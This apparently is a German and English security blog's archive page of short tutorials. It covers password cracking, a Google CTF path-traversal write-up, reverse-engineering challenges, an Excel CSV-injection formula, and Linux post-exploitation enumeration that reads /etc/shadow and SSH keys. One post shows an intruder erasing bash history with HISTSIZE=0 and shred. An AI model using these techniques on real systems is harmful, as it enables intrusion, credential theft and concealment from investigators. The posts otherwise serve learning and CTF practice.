Kategorie: IT-Security
RSS

Microsoft PowerPoint Schreibschutz Passwort entfernen

2018-09-01 von Mario

Für das hier gezeigte Beispiel wurde Microsoft PowerPoint 2013 verwendet. Mit einer neueren Office Version funktioniert die folgende Anleitung ebenso:

 

Vorbereitung

Als erstes eine PowerPoint Datei erstellen. Daraufhin im Menü “Datei – Speichern unter” wählen. In dem Dialog gibt es die Option “Tools”.

 

Hier die  “Allgemeine Optionen…” wählen. Daraufhin öffnet sich ein weiteres Dialog-Fenster. In diesem kann jetzt das Schreibschutzpasswort vergeben werden.

Nach der Vergabe eines Passworts die Datei speichern und schließen. Zum Test die Datei öffnen und die Kennwortabfrage erscheint.

 

Passwortschutz entfernen

Als nächstes wird die Datei “Geheim.pptx” nach “Geheim.zip” umbenannt. Daraufhin die Datei mit einem ZIP-Programm öffnen und in den Ordner “ppt” navigieren.

Hier die Datei “presentation.xml” mit einem Editor öffnen.

In der Datei nach dem Tag “<p:modifyVerifier crytProviderType …” suchen, entfernen und speichern. Danach die Dateiendung in “pptx” umbenennen.

Beim Öffnen der PowerPoint Datei kann eine Fehlermeldung erscheinen, diese einfach ignorieren (Reparieren) und siehe da,  beim Öffnen wird kein Passwort mehr eingefordert.

Kategorie: IT-Security Schlagwörter:

Passwort einer ZIP Datei mit John the Ripper knacken

2018-08-12 von Mario

Mit der Software John the Ripper ist es ebenfalls möglich, ein vergessenes Passwort in Erfahrung zu bringen.

Installation der Software

git clone https://github.com/magnumripper/JohnTheRipper

Danach in den Ordner wechseln.

cd JohnTheRipper/src

Als nächstes

./configure
make clean
make

ausführen. Daraufhin wird die Software gebaut und ist unter “JohnTheRipper/run” zu finden.

Konstruktion eines Beispiels

1. Erstellen einer Textdatei mit dem Namen “Geheim.txt” und Eingabe eines Geheimtextes.

2. Mit dem Befehl zip die Textdatei packen und das Passwort “123456” vergeben.

zip -e -o Geheim.zip Geheim.txt

Parameter Beschreibung
e Verschlüsseln
o Name der Zip Datei

 

3. Prüfen, ob das vergebene Passwort funktioniert. Dafür die Datei entpacken und einmal das richtige und einmal das falsche Passwort eingeben.

unzip Geheim.zip

4. Mit dem Programm “zip2john” den Passworthash aus der ZIP Datei auslesen und in eine Datei speichern.

./run/zip2john /tmp/Geheim.zip > /tmp/hash.txt

5. Mit John the Ripper und einer Wörterliste werden Hashes generiert und verglichen, bis das Passwort gefunden ist.

./run/john --format=PKZIP --wordlist=/tmp/numbers.txt hash.txt

 

Download von Wortlisten

https://github.com/danielmiessler/SecLists/tree/master/Passwords

https://wiki.skullsecurity.org/Passwords

https://packetstormsecurity.com/Crackers/wordlists/

http://www.md5this.com/tools/wordlists.html

https://weakpass.com

http://ftp.icm.edu.pl/packages/wordlists/

http://download.openwall.net/pub/wordlists/

Kategorie: IT-Security Schlagwörter: ,

Common Vulnerabilities and Exposures (CVE)

2018-08-04 von Mario

Common Vulnerabilities and Exposures, kurz CVE genannt, ist ein Industriestandard für Namenskonvention von Sicherheitslücken. Dadurch wird eine eindeutige Identifizierung und ein Informationsaustausch einer Schwachstelle gewährleistet.

Die Liste der CVEs wird von der Non-Profit-Organization “MITRE Corporation” in Zusammenarbeit mit Sicherheitsexperten, Bildungseinrichtungen, Behörden und Herstellern von Sicherheitssoftware (CVE Numbering Authorities) verwaltet.

CVE Nummern werden auch häufig als CVE names, CVE numbers, CVE-IDs und CVEs bezeichnet.

 

Aufbau einer CVE Nummer

CVE-YYYY-NNNN
Parameter Beschreibung
CVE Prefix
YYYY Jahresangabe
NNNN fortlaufende Nummer

 

Von 1999 bis 2013 waren die fortlaufenden Nummern immer vierstellig (mit führender 0). Seit 2014 kann die fortlaufende Nummer beliebig lang sein, aber mindestens vier Stellen.

 

Links

Link Beschreibung
https://www.cvedetails.com Webinterface zur Suche von CVEs und Detailinformationen
http://cve.mitre.org/data/downloads/index.html Download aller CVEs

 

Kategorie: IT-Security

Passwort einer ZIP Datei mit fcrackzip knacken

2018-07-29 von Mario

Mit der Software fcrackzip ist es unter Linux möglich, ein vergessenes Passwort, unter Anwendung der Brute-Force-Methode, zu knacken. Die Installation der Software kann wie folgt durchgeführt werden:

apt-get install fcrackzip

 

Konstruktion eines Beispiels

1. Erstellen einer Textdatei mit dem Namen “Geheim.txt” und Eingabe eines Geheimtextes.

2. Mit dem Befehl zip die Textdatei packen und das Passwort “123456” vergeben.

zip -e -o Geheim.zip Geheim.txt

Parameter Beschreibung
e Verschlüsseln
o Name der Zip Datei

 

3. Prüfen, ob das vergebene Passwort funktioniert. Dafür die Datei entpacken und einmal das richtige und einmal das falsche Passwort eingeben.

unzip Geheim.zip

4. Mit dem Programm fcrackzip die Datei “Geheim.zip” knacken

fcrackzip -v -l 5-6 -c 1 -u Geheim.zip

Parameter Beschreibung
v Anzeige von Detailinformationen
l Angabe der Passwortlänge min. bis max. (5-6)
c Verwendung des Zeichensatzes, wobei “1” für Zahlen zwischen 0 bis 9 steht
u Verwendung der Software unzip, um falsche Passwörter auszusortieren

 

Kategorie: IT-Security Schlagwörter:

Google CTF – Beginners Quest – ADMIN UI

2018-07-07 von Mario

Google veranstaltet regelmäßig Capture the Flags (CTF). Ziel eines CTF-Spiels ist es, eine Schwachstelle zu finden, diese auszunutzen und ein “Flag” in Erfahrung zu bringen. Das Flag ist meist ein Text mit einer definierten Struktur, mit dem Punkte eingelöst werden. Das Team mit den meisten Punkten gewinnt das Spiel.

 

Challenge “Beginners Quest – ADMIN UI”

 

Analyse

Als erstes auf der Konsole mit der Software Netcat eine Verbindung aufbauen.

nc mngmnt-iface.ctfcompetition.com 1337

Dadurch wird eine Verbindung zum Server aufgebaut und automatisch wird ein Programm gestartet, welches auf diesem läuft. Das Programm bietet folgende Funktionen über ein Menü an:

=== Management Interface ===
 1) Service access
 2) Read EULA/patch notes
 3) Quit

 

Bei der Option “1” wird ein Passwort verlangt, welches wir nicht haben, also wieder zurück.

Please enter the backdoo^Wservice password:

Die Option “2” stellt ein weiteres Menü bereit:

The following patchnotes were found:
 - Version0.3
 - Version0.2
Which patchnotes should be shown?

 

Mit der Eingabe “Version0.3” erhalten wir die Patchnotes:

# Version 0.3
- Rollback of version 0.2 because of random reasons
- Blah Blah
- Fix random reboots at 2:32 every second Friday when it's new-moon.

Mit der Eingabe “Version0.2” erhalten wir die Patchnotes:

# Release 0.2
- Updated library X to version 0.Y
- Fixed path traversal bug
- Improved the UX

 

Let’s go hacking

Bis hierhin kein Problem, wir haben eine Software, die auf einem Server läuft, eine Passworteingabe verlangt, Patchnotes bereitstellt und sich beenden lässt.

Als erstes habe ich ein paar nicht zulässige Eingaben ausprobiert. D.h., anstatt die im Menü vorgegebenen Eingaben habe ich Menüpunkt “4”, “0”, … usw. ausprobiert. Was keinen Erfolg brachte.

 

Als nächstes habe ich im Untermenü der Patchnotes invalide Eingaben ausprobiert. Folgende Fehlermeldung kam zum Vorschein:

Error: No such file or directory

Daraus lässt sich schließen, dass wahrscheinlich die Patchnotes in Dateien abgelegt sind und das Programm diese öffnet und entsprechend anzeigt.

 

Durch einen einfachen Test lässt sich herauszufinden, ob das Programm nur den “Dateinamen” oder “Pfad/Dateinamen” zum Öffnen benötigt. Im Untermenü wird folgendes eingegeben:

./Version0.3

Daraufhin wird die Datei Version 0.3 angezeigt.

# Version 0.3
 - Rollback of version 0.2 because of random reasons
 - Blah Blah
 - Fix random reboots at 2:32 every second Friday when it's new-moon.

Bingo ! :) D.h. über die Eingabe ist es möglich, einen Pfad (Path Traversel) anzugeben. Zur Verdeutlichung, was dadurch jetzt möglich ist:

../../../../../../etc/passwd

Ausgabe

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/syn
...

Leider haben wir das Flag noch nicht gefunden und es kann sich überall auf dem Server befinden.

 

Weitere Informationsbeschaffung

Unter Linux ist es möglich, sich den aktuell laufenden Prozess anzeigen zu lassen. Mittels

/proc/self/cmdline

wird der aktuelle Prozess angezeigt.

  1. Verbinden mit Netcat
  2. Menüpunkt “2” aufrufen
  3. Folgende Eingabe durchführen
../../../../../../../../../../proc/self/cmdline

Ausgabe

./main=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit

Der Name der laufenden Applikation lautet “main”.

 

Programm herunterladen

Auf folgende Art und Weise kann das Programm jetzt vom Server heruntergeladen werden.

echo -e "2\n../main" | nc -v mngmnt-iface.ctfcompetition.com 1337 > admin_ui_file
Befehl/Argument Beschreibung
echo Der Befehl “echo” gibt einen Text aus.
e Der Parameter “e” sorgt dafür, dass das Sonderzeichen “\n” interpretiert wird (Enter/Newline).
| Mit der Pipe “|” wird die Ausgabe an das Programm Netcat übergeben, welches sich zum Server verbindet.
> Mit “>” werden alle Ausgaben in eine Datei “admin_ui_file” gespeichert.

 

Nach ca. 10 Sekunden mit “STRG + C” den Prozess abbrechen. Lokal sollte jetzt eine Datei vorhanden sein. Der manuelle Abbruch ist notwendig, da die Datei sonst immer weiter wächst. Das Warten auf eine Eingabe auf Seiten des Servers wird ebenfalls in die Datei gespeichert…

 

Reverse Engineering

Die Datei mit einem Hex-Editor (Bless) öffnen und nach Texten suchen, die hilfreich sein können.

Mit dem String “patchnotes” ergab die Suche einen interessanten Treffer.

Final Step

Im Ordner “patchnotes” liegt eine Datei mit dem Namen “flag”, welche es gilt anzuschauen. Also, auf eine Neues und mit dem Server verbinden, den Menüpunkt “2” wählen und bei der Eingabe “Which patchnotes should be shown?”:

../flag

eingeben. Als Ausgabe erhalten wir unser Flag. :)

CTF{I_luv_buggy_sOFtware}=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit

 

Kategorie: IT-Security Schlagwörter: , ,

Hack-IT: Zahlenschloss

2018-05-12 von Mario

Es ist ein Schloss gegeben, welches drei Felder für die Eingabe einer Zahl erwartet. Wird die richtige Kombination eingegeben, so öffnet sich das Schloss.

Folgende Hinweise (A bis E) helfen bei der Lösungsfindung:

Hinweis Nr. 1 Nr. 2 Nr. 3 Beschreibung
A 6 8 2 Eine Nummer ist richtig und richtig platziert
B 6 1 4 Eine Nummer ist richtig aber falsch platziert
C 2 0 6 Zwei Nummern sind richtig aber falsch platziert
D 7 3 8 Nichts ist richtig
E 7 8 0 Eine Nummer ist richtig aber falsch platziert

 

 

Im weiteren folgt eine Darstellung eines Lösungswegs. Vor dem Weiterlesen sollte selbst eine Runde probiert werden! :)

Hinweis D

Nach dem Durchlesen der Hinweise verspricht der Hinweis “D” eine größere Reduktion der Kombinationsmöglichkeiten. Nach der Anwendung werden alle Werte mit 7, 3 und 8 entfernt.

Hinweis Nr. 1 Nr. 2 Nr. 3
A 6 2
B 6 1 4
C 2 0 6
D
E 0

 

Hinweis E

Der Hinweis “E” führt zu einer weiteren Reduktion der Möglichkeiten. D.h., die Nr. 1 oder die Nr. 2 der Kombination muss eine Null enthalten.

Nr. 1 Nr. 2 Nr. 3
0
0

 

Hinweis C

Der Hinweis C sagt: “Zwei Nummern sind richtig aber falsch platziert”. Daraus ergeben sich die Kombinationen:

Kombination Kombination
2 0
6 0
2 6

Da der Hinweis E festlegt, dass eine “0” enthalten sein muss, entfällt hier die letzte Kombination.

 

Hinweis A

Aus den aktuell gewonnen Erkenntnissen ergibt sich folgender Zwischenstand der Kombinationsmöglichkeiten unter Anwendung des Hinweises “A”. D.h., “Eine Nummer ist richtig und richtig platziert”. Somit kann die Zahl “6” oder “2” in Kombination mit der Zahl “0” gesetzt werden.

Nr. 1 Nr. 2 Nr. 3
0 2
6 0
0 2

 

Hinweis B

Der Hinweis B besagt “Eine Nummer ist richtig aber falsch platziert”.

Hinweis Nr. 1 Nr. 2 Nr. 3
B 6 1 4

 

Dadurch entfällt die Kombination in der Mitte, da die Nummer “6” nur an erster Stelle stehen darf (Hinweise A, D, E, C) und laut Hinweis B umplatziert werden muss.

Nr. 1 Nr. 2 Nr. 3
0 2
6 0
0 2

 

Die beiden übrigen Kombinationen (“0” und “2”) werden mit den Nummern “1” und “4” aus dem Hinweis B erweitert. Daraufhin werden die Hinweise je Kombination geprüft.

Nr. 1 Nr. 2 Nr. 3 Hinweis A Hinweis B Hinweis C Hinweis D Hinweis E
0 1 2 Ja (2) Nein (1) Ja (2,0) Ja Ja (0)
0 4 2 Ja (2) Ja (4) Ja (0,2) Ja Ja (0)
1 0 2 Ja (2) Ja (1) Nein (0) Ja Ja (0)
4 0 2 Ja (2) Ja (4) Nein (0) Ja Ja (0)

 

Die Zahl in den Klammern steht für den Widerspruch oder für die Zustimmung der Regel.

 

 

Quellenangabe:

Kategorie: IT-Security Schlagwörter: , ,

Hack-IT: Reverse Engineering – Aktivierungscode (.NET)

2018-05-06 von Mario

Auf der leider nicht mehr verfügbaren Plattform “CanYouHack.it” gab es die Challenge “I’m sure you’ve just lost the key”. Dabei handelte es sich um eine EXE-Datei (Crack1.exe), welche nach dem Starten einen Aktivierungscode verlangte.

1. Analyse der Datei

Mit dem Befehl “strings” habe ich die EXE-Datei etwas näher untersucht. Dadurch sind folgende interessante Zeichenketten zum Vorschein gekommen.

WindowsFormsApplication1.exe
WindowsFormsApplication1.Properties
System.Windows.Forms
.NETFramework,Version=v4.5

D.h., die EXE-Datei wurde mit großer Wahrscheinlichkeit mit .NET erstellt.

2. Quellcode dekompilieren

Da es sich bei .NET um eine Common Intermediate Language handelt, ist eine Rückumwandlung des Quellcodes relativ leicht umsetzbar. Es existieren dafür verschiedene Tools. In dem Beispiel wurde ILSpy verwendet.

3. Quellcode untersuchen

Aus dem Code geht hervor, dass auf eine Seite zugegriffen und der eingegebene Aktivierungscode als Parameter übergeben wird. Daraufhin erhält man den Antworttext “Valid” zurück und das gesuchte Passwort wird erstellt und ausgegeben.

Der erste Teil kann ignoriert werden, da dieser nur Mittel zum Zweck ist. Der Wert “Valid” kann einfach vorausgesetzt werden. Interessant ist hingegen folgender Abschnitt:

Es ist ein Array gegeben, welches die Buchstaben “a” bis “z” beinhaltet. Über die Inhalte des Arrays wird iteriert und jeder Index wird durch 7 geteilt (Modulo). Ergibt der Rest 0, dann wird der entsprechende Buchstabe in der Variable “text2” gespeichert. Dadurch entsteht das begehrte Passwort.

4. Script erstellen

Die Lösung kann in dem Fall auch per Hand ermittelt werden, jedoch wo bleibt da der Spaß. ;) Hier das erstellte Python Script:

#!/usr/bin/python3

for i in range(97,123,1):
	if ((i-97) % 7 == 0):
		print(str(chr(i)))

 

Zeile Beschreibung
1 Shebang
3 Eine Schleife über die ASCII Werte a bis z.
4 If Abfrage ob die Division (Modulo) den Rest 0 ergibt.
Der Kniff “i-97” erspart die Deklaration eines Arrays mit den Buchstaben “a” bis “z”.
5 Ausgabe des Buchstabens

 

Das Passwort lautet “ahov”.

Kategorie: IT-Security Schlagwörter: , , , ,

Excel CSV Injection

2017-11-01 von Mario

Vor einiger Zeit wurde eine interessante Möglichkeit identifiziert, um mittels einer CSV Datei eine Ausführung eines beliebigen Programms mit MS Excel zu bewerkstelligen. Als Basis dafür kann eine beliebige CSV Datei verwendet werden:

UserId,Datum,ProjektName,Beschreibung,Dauer
1,2017-11-01,Test Projekt,Das ist ein Test,180
2,2017-08-17,Hausbau,"Haus1, Haus2, Haus3", 240
3,2017-07-25,Wichtiger Kunde,"=2+2+cmd|' /C calc'!A0", 240

In der Zeile drei und in der Spalte Beschreibung wird eine Formel verwendet:

"=2+2+cmd|' /C calc'!A0"

Schritt 1

Als erstes die Datei mit MS Excel öffnen.

Schritt 2

Danach die entsprechenden Zeilen markieren.

Schritt 3

Daraufhin auf den Reiter “DATEN” wechseln und Button “Text in Spalten” klicken.

Jetzt dem Wizard mit “Weiter” folgen.

Die Option “Komma” wählen und “Fertig stellen” klicken.

Es erfolgt ein Sicherheitshinweis durch Excel.

Schritt 4

Und siehe da, der Taschenrechner wird gestartet.

 

Quelle

http://georgemauer.net/2017/10/07/csv-injection.html

Kategorie: IT-Security Schlagwörter: , , ,

Linux – information gathering (part 4)

2017-10-08 von Mario

This is the fourth part of Linux – information gathering.

Network

Find all available network connections.

ifconfig -a

In the following files you can find specific information about the desired network configuration.

cat /etc/network/interfaces
cat /etc/sysconfig/network

You can find the configuration file for DNS resolvers here:

cat /etc/resolv.conf
cat /etc/networks

With the administration tool for IPv4/IPv6 packet filtering and NAT you can list all filters.

iptables -L

Show or set the system’s host name.

hostname

Show the system’s DNS domain name.

dnsdomainname

Connections

The command „lsof“ lists open files.

lsof -i

List port socket numbers of standard services.

cat /etc/services

The command „netstat“ or “chkconfig” lists network connections

netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list

Cache

With „arp“ you can manipulate or display the kernel’s IPv4 network neighbour cache.

arp -e

The following command displays existing routes.

route

 

Previous parts

Linux – information gathering (part 1)

Linux – information gathering (part 2)

Linux – information gathering (part 3)

Linux – information gathering (part 4)

Kategorie: IT-Security Schlagwörter:

Hack-IT: Reverse Engineering einer Android App

2017-09-28 von Mario

Bei diesem Hack-IT geht es um eine Android App, welche im Google Play Store erhältlich ist. Die Aufgabe besteht darin, dass einzugebende Passwort in der App herauszufinden.

Link zur App: https://play.google.com

 

Schritt 1

Für eine Analyse der App muss diese heruntergeladen werden. Dafür gibt es zahlreiche Tools, ich habe die Website apkpure.com verwendet. Im Suchfeld auf der Seite die Adresse der App eingeben und danach den “Download” Button betätigen. Daraufhin steht die APK Datei zur Verfügung.

 

Schritt 2

Mit der Software dex2jar können DEX Dateien in JAR Dateien umgewandelt werden. Nach dem Download der Software sourceforge.net/projects/dex2jar/ wird das Archiv noch entpackt

unzip dex2jar-2.0.zip

und Rechte vergeben.

chmod -R +x dex2jar-2.0/

Schritt 3

Jetzt kann die APK Datei umgewandelt werden.

./dex2jar-2.0/d2j-dex2jar.sh CanYouHack.apk

Danach steht die Datei “CanYouHack-dex2jar.jar” zur Verfügung.

Schritt 4

Als nächstes das Programm JD-GUI (jd.benow.ca) herunterladen, mit welchem der Inhalt der JAR Datei ganz einfach angeschaut werden kann.

Daraufhin heißt es suchen, in der Klasse “Mobile1” wird der hilfreiche Text “… right password!” aufgeführt.

Die IF-Anweisung darüber verrät uns das gesuchte Passwort:

if (paramAnonymousView.getText().toString().equals("1337"))

Das gesuchte Passwort lautet: 1337 und das Hack-IT ist gelöst.

Kategorie: IT-Security Schlagwörter: , , , , ,

Linux – information gathering (part 3)

2017-08-23 von Mario

This is the third part of Linux – information gathering.

Log files

In log files you can found useful information, just take a short look at the files in the following directory:

ls -alh /var/log

A detailed explanation can be found here:

 

File System

The command “df” reports file system disk space usage.

df -h

With the “mount” command, you can check if there are any attached drives.

mount

Check if there are unused file systems.

cat /etc/fstab

Exploiting

The command „find“ will help to find installed development tools. With these tools, it is possible to exploit the current maschine.

find / -name python*

You can also search for “perl*” or “gcc*”.

The following programms “wget”, “nc”, “ftp” and “curl” can help to transfer software to a maschine. You can find the software in the following way:

find / -name wget

 

Previous parts

Linux – information gathering (part 1)

Linux – information gathering (part 2)

Linux – information gathering (part 3)

Kategorie: IT-Security Schlagwörter:

Linux – information gathering (part 2)

2017-07-27 von Mario

This is the secound part of Linux – information gathering.

Peripheral Devices

With the following commands, you get information about peripheral devices. The command “lsusb” lists all USB devices.

lsusb -l

The command “lspci” lists all PCI devices.

lspci -l

The command “lpstat” lists all printer devices.

lpstat -a

Users Information

To find out who you are, you can use „id“. That command prints real and effective user and group IDs.

id

The „who“ command shows who is logged on.

who

Indicates who is logged on the system and what he is doing.

w

With „last“ you can get a list of the last logged-in users.

last

Take a look in the home directories, if you have access to them.

ls -al /root/
ls -al /home/

In this home folders can more user information be found.

cat ~/.bashrc
cat ~/.profile

Some interesting mail information can be found in the following folders:

cat /var/mail/root
cat /var/spool/mail/root

Information about user rights can be found in the following configuration files.

cat /etc/passwd
cat /etc/sudoers
cat /etc/group
cat /etc/shadow

Private Key Information

The private keys can be found in the following folders:

ls ~/.ssh/*
ls /etc/ssh/*

Previous parts

Linux – information gathering (part 1)

Linux – information gathering (part 2)

Linux – information gathering (part 3)

 

Thx @Programming Wolf

Kategorie: IT-Security Schlagwörter:

Linux – information gathering (part 1)

2017-04-03 von Mario

Sometimes you need a very fast overview over a current Linux system. In this case, the next commands can be very helpful.

System

With the following commands, you get information about the kernel.

uname -A
cat /proc/version
dmesg | grep Linux

Under Redhat you can use this command.

rpm -q kernel

Distribution

Find release information on Debian systems

cat /etc/lsb-release

and under Redhat systems use

cat /etc/redhat-release

Environmental Variables

In the following config files, you can read system wide environmental variables about the user’s shells.

sudo cat /etc/profile
sudo cat /etc/bash.bashrc

In your home directory, environmental variables are set as well.

cat ~/.bash_profile

In the file “bashrc” contains commands, aliases and functions from user’s bash.

cat ~/.bashrc

This file is read and executed every time a login shell exits.

cat ~/.bash_logout

env is a shell command for Unix and Unix-like operating systems. The command “env” is used to print a list of environment variables.

env

The command “set” shows the system variables with the corresponding contents.

set

Services

Print all processes with the owner’s user name.

ps aux

The command “top” display Linux processes.

top

Applications

The following commands list all installed applications.

ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa

Job Scheduler

Lists all jobs form the current user’s scheduler.

crontab -l

This command gives a detailed view for all defined jobs.

ls -al /etc/cron*

Previous parts

Linux – information gathering (part 1)

Linux – information gathering (part 2)

Linux – information gathering (part 3)

 

Thx @Programming Wolf

Kategorie: IT-Security Schlagwörter:

Linux Log Files – Spuren nach einem Hack verwischen

2017-02-08 von Mario

Wenn ein Linux-System gehackt wird, entstehen zahlreiche Spuren in Log-Files. Im folgenden wird erläutert, wie als Angreifer Spuren auf einem kompromittiertem System vermieden werden können.

 

Histsize

Nachdem es gelungen ist, eine Shell zu erlangen, werden normalerweise alle eingegeben Befehle im jeweiligen Homeverzeichnis in der Historie der Bash gespeichert.

~/.bash_history

Eine Möglichkeit, die Spuren zu verwischen, ist die manuelle Löschung der eingegebenen Befehle. Eine elegantere Methode ist, die Umgebungsvariable “Histsize” zu begrenzen. Mit dem Befehl “echo” kann angezeigt werden, wie viele der letzten eingegebenen Befehle in der Historie (bash_history) gespeichert werden.

echo $HISTSIZE

Setzt man den Wert mit dem Kommando “export” auf Null, so speichert die Shell keine Eingaben in die Historie.

export HISTSIZE=0

Falls schon mehrere Befehle eingeben wurden, dann einfach Ab- und Anmelden, um den Verlauf zu löschen, nachdem die HISTSIZE auf Null gesetzt wurde.

Shred

Falls die Zeit knapp sein sollte, kann der Befehl “shred” verwendet werden, um die History-Datei zu löschen. Mit diesem Kommando können Dateien überschrieben werden.

shred -zu root/.bash_history

Der Parameter “z” überschreibt die Datei mit Nullen und der Parameter “u” löscht die Datei, nachdem diese überschrieben ist.

Kategorie: IT-Security Schlagwörter: , , , , ,

Hack-IT: Reverse Engineering – Geheimzahl

2016-11-12 von Mario

Bei diesem Hack-IT liegt eine Binärdatei vor, welche unter Linux ausführbar ist und mit der Programmiersprache C erstellt wurde.

Nach der Ausführung soll eine Geheimzahl eingegeben werden. Wird die falsche Zahl eingegeben, so erscheint die Meldung “Falsch!”.

re01

Eine Möglichkeit, die richtige Zahl herauszufinden, wäre es, einfach ein Skript zu erstellen, welches alle Möglichkeiten durchprobiert. An dieser Stelle soll ein anderer eleganterer Weg dargestellt werden.

Mit dem GNU Debugger (GDB) kann das Programm in Maschinencode umgewandelt bzw. angezeigt werden. Dafür in der Konsole folgenden Befehl verwenden:

gdb hackme.o

Als nächstes im gdb folgende Einstellung setzen:

set disassembly-flavor intel

Dadurch wird eine bessere “Lesbarkeit” der Speicheradressen gewährleistet.

re02

Als nächstes mit dem Befehl

disass main

die Main Methode des Programms disassemblieren. Daraufhin erscheint der Inhalt der Methode in Maschinencode.

re03

In C werden Eingaben durch den User klassisch durch die Funktion “scanf” realisiert. Die Verwendung der Funktion

ist unter “call 0x4004f0 <__isoc99_scanf@plt>” zu finden.

re04

Nach der Eingabe muss der eingegebene Wert in einen Speicherbereich verschoben werden (die nachfolgende Zeile). An dieser Stelle wird es spannend, da als nächstes ein Vergleich folgt. Ist der Vergleich richtig, erhalten wir eine Erfolgs- oder Fehlermeldung.

Es wird die Speicheradresse mit dem Wert “0x539” verglichen. Dabei handelt es sich um einen Hexadezimalwert. Einfach mit einem Taschenrechner umwandeln und die Lösung ist gefunden.

re05

 

Download: Geheimzahl.zip

Kategorie: IT-Security Schlagwörter: , , ,